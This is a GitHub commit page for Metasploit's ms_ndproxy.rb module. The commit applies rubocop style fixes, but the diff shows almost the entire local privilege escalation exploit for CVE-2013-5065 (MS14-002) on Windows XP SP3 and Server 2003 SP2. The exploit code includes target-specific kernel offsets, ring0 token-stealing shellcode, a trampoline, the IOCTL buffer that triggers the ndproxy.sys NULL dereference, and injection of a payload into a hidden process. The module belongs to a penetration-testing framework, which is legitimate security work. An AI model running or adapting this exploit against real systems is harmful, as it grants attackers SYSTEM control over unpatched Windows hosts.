Skip to content

Commit a523898

Browse files
committed
Apply rubocop suggestions for ms_ndproxy
1 parent 86e2377 commit a523898

File tree

1 file changed

+89
-94
lines changed

1 file changed

+89
-94
lines changed

modules/exploits/windows/local/ms_ndproxy.rb

Lines changed: 89 additions & 94 deletions
Original file line numberDiff line numberDiff line change
@@ -15,42 +15,42 @@ class Metasploit3 < Msf::Exploit::Local
1515
include Msf::Post::Windows::Priv
1616
include Msf::Post::Windows::Process
1717

18-
def initialize(info={})
18+
def initialize(info = {})
1919
super(update_info(info, {
20-
'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation',
21-
'Description' => %q{
20+
'Name' => 'MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation',
21+
'Description' => %q(
2222
This module exploits a flaw in the ndproxy.sys driver on Windows XP SP3 and Windows 2003
2323
SP2 systems, exploited in the wild in November, 2013. The vulnerability exists while
2424
processing an IO Control Code 0x8fff23c8 or 0x8fff23cc, where user provided input is used
2525
to access an array unsafely, and the value is used to perform a call, leading to a NULL
2626
pointer dereference which is exploitable on both Windows XP and Windows 2003 systems. This
2727
module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In order to
2828
work the service "Routing and Remote Access" must be running on the target system.
29-
},
30-
'License' => MSF_LICENSE,
31-
'Author' =>
29+
),
30+
'License' => MSF_LICENSE,
31+
'Author' =>
3232
[
3333
'Unknown', # Vulnerability discovery
3434
'ryujin', # python PoC
3535
'Shahin Ramezany', # C PoC
3636
'juan vazquez' # MSF module
3737
],
38-
'Arch' => ARCH_X86,
39-
'Platform' => 'win',
40-
'Payload' =>
38+
'Arch' => ARCH_X86,
39+
'Platform' => 'win',
40+
'Payload' =>
4141
{
42-
'Space' => 4096,
42+
'Space' => 4096,
4343
'DisableNops' => true
4444
},
45-
'SessionTypes' => [ 'meterpreter' ],
46-
'DefaultOptions' =>
45+
'SessionTypes' => ['meterpreter'],
46+
'DefaultOptions' =>
4747
{
48-
'EXITFUNC' => 'thread',
48+
'EXITFUNC' => 'thread'
4949
},
50-
'Targets' =>
50+
'Targets' =>
5151
[
52-
[ 'Automatic', { } ],
53-
[ 'Windows XP SP3',
52+
['Automatic', {}],
53+
['Windows XP SP3',
5454
{
5555
'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
5656
'_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct
@@ -59,7 +59,7 @@ module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In o
5959
'_APLINKS' => "\x88" # Offset to ActiveProcessLinks _EPROCESS struct
6060
}
6161
],
62-
[ 'Windows Server 2003 SP2',
62+
['Windows Server 2003 SP2',
6363
{
6464
'HaliQuerySystemInfo' => 0x1fa1e,
6565
'_KPROCESS' => "\x38",
@@ -69,40 +69,38 @@ module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In o
6969
}
7070
]
7171
],
72-
'References' =>
72+
'References' =>
7373
[
74-
[ 'CVE', '2013-5065' ],
75-
[ 'MSB', 'MS14-002' ],
76-
[ 'OSVDB' , '100368'],
77-
[ 'BID', '63971' ],
78-
[ 'EDB', '30014' ],
79-
[ 'URL', 'http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/' ],
80-
[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2914486'],
81-
[ 'URL', 'https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp' ],
82-
[ 'URL', 'http://www.secniu.com/blog/?p=53' ],
83-
[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ],
84-
[ 'URL', 'http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html' ]
74+
%w(CVE 2013-5065),
75+
%w(MSB MS14-002),
76+
%w(OSVDB 100368),
77+
%w(BID 63971),
78+
%w(EDB 30014),
79+
%w(URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/),
80+
%w(URL http://technet.microsoft.com/en-us/security/advisory/2914486),
81+
%w(URL https://github.com/ShahinRamezany/Codes/blob/master/CVE-2013-5065/CVE-2013-5065.cpp),
82+
%w(URL http://www.secniu.com/blog/?p=53),
83+
%w(URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html),
84+
%w(URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html)
8585
],
86-
'DisclosureDate'=> 'Nov 27 2013',
87-
'DefaultTarget' => 0
86+
'DisclosureDate' => 'Nov 27 2013',
87+
'DefaultTarget' => 0
8888
}))
8989
end
9090

9191
def ring0_shellcode(t)
9292
restore_ptrs = "\x31\xc0" # xor eax, eax
93-
restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation
94-
restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax
93+
restore_ptrs << "\xb8" + [@addresses['HaliQuerySystemInfo']].pack('L') # mov eax, offset hal!HaliQuerySystemInformation
94+
restore_ptrs << "\xa3" + [@addresses['halDispatchTable'] + 4].pack('L') # mov dword ptr [nt!HalDispatchTable+0x4], eax
9595

9696
ring0_shellcode = restore_ptrs + token_stealing_shellcode(t)
97-
return ring0_shellcode
97+
ring0_shellcode
9898
end
9999

100100
def fill_memory(proc, address, length, content)
101-
102-
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
103-
101+
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [address].pack('L'), nil, [length].pack('L'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')
104102
unless proc.memory.writable?(address)
105-
vprint_error("Failed to allocate memory")
103+
vprint_error('Failed to allocate memory')
106104
return nil
107105
end
108106

@@ -111,66 +109,65 @@ def fill_memory(proc, address, length, content)
111109
result = proc.memory.write(address, content)
112110

113111
if result.nil?
114-
vprint_error("Failed to write contents to memory")
112+
vprint_error('Failed to write contents to memory')
115113
return nil
116114
else
117115
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
118116
end
119117

120-
return address
118+
address
121119
end
122120

123121
def create_proc
124122
windir = session.sys.config.getenv('windir')
125123
cmd = "#{windir}\\System32\\notepad.exe"
126124
# run hidden
127125
begin
128-
proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
126+
proc = session.sys.process.execute(cmd, nil, 'Hidden' => true)
129127
rescue Rex::Post::Meterpreter::RequestError
130128
# when running from the Adobe Reader sandbox:
131129
# Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_process_execute: Operation failed: Access is denied.
132130
return nil
133131
end
134132

135-
return proc.pid
133+
proc.pid
136134
end
137135

138136
def disclose_addresses(t)
139137
addresses = {}
140138

141139
hal_dispatch_table = find_haldispatchtable
142140
return nil if hal_dispatch_table.nil?
143-
addresses["halDispatchTable"] = hal_dispatch_table
144-
vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")
141+
addresses['halDispatchTable'] = hal_dispatch_table
142+
vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}")
145143

146-
vprint_status("Getting the hal.dll Base Address...")
147-
hal_info = find_sys_base("hal.dll")
144+
vprint_status('Getting the hal.dll Base Address...')
145+
hal_info = find_sys_base('hal.dll')
148146
if hal_info.nil?
149-
vprint_error("Failed to disclose hal.dll Base Address")
147+
vprint_error('Failed to disclose hal.dll Base Address')
150148
return nil
151149
end
152150
hal_base = hal_info[0]
153151
vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")
154152

155153
hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
156-
addresses["HaliQuerySystemInfo"] = hali_query_system_information
154+
addresses['HaliQuerySystemInfo'] = hali_query_system_information
157155

158-
vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}")
159-
return addresses
156+
vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")
157+
addresses
160158
end
161159

162160
def check
163-
if sysinfo["Architecture"] =~ /wow64/i or sysinfo["Architecture"] =~ /x64/
161+
if sysinfo['Architecture'] =~ /wow64/i || sysinfo['Architecture'] =~ /x64/
164162
return Exploit::CheckCode::Detected
165163
end
166164

167-
handle = open_device("\\\\.\\NDProxy", 0x0, 0x0, 0x3)
168-
if handle.nil?
169-
return Exploit::CheckCode::Safe
170-
end
165+
handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3)
166+
return Exploit::CheckCode::Safe if handle.nil?
167+
171168
session.railgun.kernel32.CloseHandle(handle)
172169

173-
os = sysinfo["OS"]
170+
os = sysinfo['OS']
174171
case os
175172
when /windows xp.*service pack 3/i
176173
return Exploit::CheckCode::Appears
@@ -183,27 +180,26 @@ def check
183180
else
184181
return Exploit::CheckCode::Safe
185182
end
186-
187183
end
188184

189185
def exploit
190-
if sysinfo["Architecture"] =~ /wow64/i
191-
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
192-
elsif sysinfo["Architecture"] =~ /x64/
193-
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
186+
if sysinfo['Architecture'] =~ /wow64/i
187+
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
188+
elsif sysinfo['Architecture'] =~ /x64/
189+
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
194190
end
195191

196192
my_target = nil
197193
if target.name =~ /Automatic/
198-
print_status("Detecting the target system...")
199-
os = sysinfo["OS"]
194+
print_status('Detecting the target system...')
195+
os = sysinfo['OS']
200196
if os =~ /windows xp.*service pack 3/i
201197
my_target = targets[1]
202198
print_status("Running against #{my_target.name}")
203-
elsif ((os =~ /2003/) and (os =~ /service pack 2/i))
199+
elsif (os =~ /2003/) && (os =~ /service pack 2/i)
204200
my_target = targets[2]
205201
print_status("Running against #{my_target.name}")
206-
elsif ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
202+
elsif (os =~ /\.net server/i) && (os =~ /service pack 2/i)
207203
my_target = targets[2]
208204
print_status("Running against #{my_target.name}")
209205
end
@@ -212,96 +208,95 @@ def exploit
212208
end
213209

214210
if my_target.nil?
215-
fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
211+
fail_with(Failure::NoTarget, 'Remote system not detected as target, select the target manually')
216212
end
217213

218-
print_status("Checking device...")
219-
handle = open_device("\\\\.\\NDProxy", 0x0, 0x0, 0x3)
214+
print_status('Checking device...')
215+
handle = open_device('\\\\.\\NDProxy', 0x0, 0x0, 0x3)
220216
if handle.nil?
221-
fail_with(Failure::NoTarget, "\\\\.\\NDProxy device not found")
217+
fail_with(Failure::NoTarget, '\\\\.\\NDProxy device not found')
222218
else
223-
print_good("\\\\.\\NDProxy found!")
219+
print_good('\\\\.\\NDProxy found!')
224220
end
225221

226-
print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...")
222+
print_status('Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...')
227223
@addresses = disclose_addresses(my_target)
228224
if @addresses.nil?
229225
session.railgun.kernel32.CloseHandle(handle)
230-
fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.")
226+
fail_with(Failure::Unknown, 'Failed to disclose necessary addresses for exploitation, aborting.')
231227
else
232-
print_good("Addresses successfully disclosed.")
228+
print_good('Addresses successfully disclosed.')
233229
end
234230

235-
236-
print_status("Storing the kernel stager on memory...")
231+
print_status('Storing the kernel stager in memory...')
237232
this_proc = session.sys.process.open
238233
kernel_shell = ring0_shellcode(my_target)
239234
kernel_shell_address = 0x1000
240235
result = fill_memory(this_proc, kernel_shell_address, kernel_shell.length, kernel_shell)
241236
if result.nil?
242237
session.railgun.kernel32.CloseHandle(handle)
243-
fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
238+
fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory')
244239
else
245240
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
246241
end
247242

248-
print_status("Storing the trampoline to the kernel stager on memory...")
243+
print_status('Storing the trampoline to the kernel stager on memory...')
249244
trampoline = "\x90" * 0x38 # nops
250245
trampoline << "\x68" # push opcode
251-
trampoline << [0x1000].pack("V") # address to push
246+
trampoline << [0x1000].pack('V') # address to push
252247
trampoline << "\xc3" # ret
253248
trampoline_addr = 0x1
254249
result = fill_memory(this_proc, trampoline_addr, trampoline.length, trampoline)
255250
if result.nil?
256251
session.railgun.kernel32.CloseHandle(handle)
257-
fail_with(Failure::Unknown, "Error while storing trampoline on memory")
252+
fail_with(Failure::Unknown, 'Error while storing trampoline on memory')
258253
else
259254
print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")
260255
end
261256

262-
print_status("Storing the IO Control buffer on memory...")
257+
print_status('Storing the IO Control buffer on memory...')
263258
buffer = "\x00" * 1024
264-
buffer[20, 4] = [0x7030125].pack("V") # In order to trigger the vulnerable call
265-
buffer[28, 4] = [0x34].pack("V") # In order to trigger the vulnerable call
259+
buffer[20, 4] = [0x7030125].pack('V') # In order to trigger the vulnerable call
260+
buffer[28, 4] = [0x34].pack('V') # In order to trigger the vulnerable call
266261
buffer_addr = 0x0d0d0000
267262
result = fill_memory(this_proc, buffer_addr, buffer.length, buffer)
268263
if result.nil?
269264
session.railgun.kernel32.CloseHandle(handle)
270-
fail_with(Failure::Unknown, "Error while storing the IO Control buffer on memory")
265+
fail_with(Failure::Unknown, 'Error while storing the IO Control buffer on memory')
271266
else
272267
print_good("IO Control buffer successfully stored at 0x#{buffer_addr.to_s(16)}")
273268
end
274269

275-
print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
270+
print_status('Triggering the vulnerability, corrupting the HalDispatchTable...')
276271
magic_ioctl = 0x8fff23c8
277272
# Values taken from the exploit in the wild, see references
278-
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80)
273+
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, buffer_addr, buffer.length, buffer_addr, 0x80)
279274

280275
session.railgun.kernel32.CloseHandle(handle)
281276

282-
print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
283-
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
277+
print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...')
278+
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
284279

285-
print_status("Checking privileges after exploitation...")
280+
print_status('Checking privileges after exploitation...')
286281

287282
unless is_system?
288-
fail_with(Failure::Unknown, "The exploitation wasn't successful")
283+
fail_with(Failure::Unknown, 'The exploitation was not successful')
289284
end
290285

291286
p = payload.encoded
292-
print_good("Exploitation successful! Creating a new process and launching payload...")
287+
print_good('Exploitation successful! Creating a new process and launching payload...')
293288
new_pid = create_proc
294289

295290
if new_pid.nil?
296-
print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...")
291+
print_warning('Unable to create a new process, maybe you are in a sandbox. If the current process has been elevated try to migrate before executing a new process...')
297292
return
298293
end
299294

300-
print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...")
295+
print_status("Injecting #{p.length} bytes into #{new_pid} memory and executing it...")
301296
if execute_shellcode(p, nil, new_pid)
302-
print_good("Enjoy")
297+
print_good('Enjoy')
303298
else
304-
fail_with(Failure::Unknown, "Error while executing the payload")
299+
fail_with(Failure::Unknown, 'Error while executing the payload')
305300
end
306301
end
307302
end

0 commit comments

Comments
 (0)